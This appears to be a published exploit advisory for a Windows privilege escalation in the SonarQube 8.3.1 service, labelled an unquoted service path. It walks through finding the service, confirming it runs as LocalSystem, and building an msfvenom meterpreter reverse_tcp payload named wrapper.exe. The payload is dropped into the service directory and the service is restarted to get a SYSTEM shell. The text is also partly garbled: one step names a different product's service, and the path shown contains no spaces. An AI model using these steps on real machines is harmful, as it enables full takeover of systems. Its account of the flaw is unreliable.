# Title: Sonar Qube 8.3.1 - 'SonarQube Service' Unquoted Service Path # Author: Velayutham Selvaraj # Date: 2020-06-03 # Vendor Homepage: https://www.sonarqube.org # Software Link: https://www.sonarqube.org/downloads/ # Version : 8.3.1 # Tested on: Windows 10 64bit(EN) About Unquoted Service Path : ============================== When a service is created whose executable path contains spaces and isn't enclosed within quotes, leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges. (only if the vulnerable service is running with SYSTEM privilege level which most of the time it is). Steps to recreate : ============================= 1. Open CMD and Check for USP vulnerability by typing [ wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """ ] 2. The Vulnerable Service would Show up. 3. Check the Service Permissions by typing [ sc qc SonarQube] 4. The command would return.. C:\Users\HP-840-G2-ELITEBOOK>sc qc SonarQube [SC] QueryServiceConfig SUCCESS SERVICE_NAME: SonarQube TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Users\HP-840-G2-ELITEBOOK\Downloads\sonarqube-8.3.1.34397\sonarqube-8.3.1.34397\bin\windows-x86-64\wrapper.exe -s C:\Users\HP-840-G2-ELITEBOOK\Downloads\sonarqube-8.3.1.34397\sonarqube-8.3.1.34397\conf\wrapper.conf LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : SonarQube DEPENDENCIES : SERVICE_START_NAME : LocalSystem 5. This concludes that the service is running as SYSTEM. "Highest privilege in a machine" 6. Now create a Payload with msfvenom or other tools and name it to wrapper.exe 7. Make sure you have write Permissions to where you downloaded. i kept it in downloads folders but confirmed it in program files as well. 8. Provided that you have right permissions, Drop the wrapper.exe executable you created into the "C:\Users\HP-840-G2-ELITEBOOK\Downloads\sonarqube-8.3.1.34397\sonarqube-8.3.1.34397\bin\windows-x86-64\" Directory. 9. Now restart the IObit Uninstaller service by giving coommand [ sc stop SonarQube] followed by [ sc start SonarQube] 10. If your payload is created with msfvenom, quickly migrate to a different process. [Any process since you have the SYSTEM Privilege]. During my testing : Payload : msfvenom -p windows/meterpreter/reverse_tcp -f exe -o wrapper.exe Migrate : meterpreter> run post/windows/manage/migrate [To migrate into a different Process ]
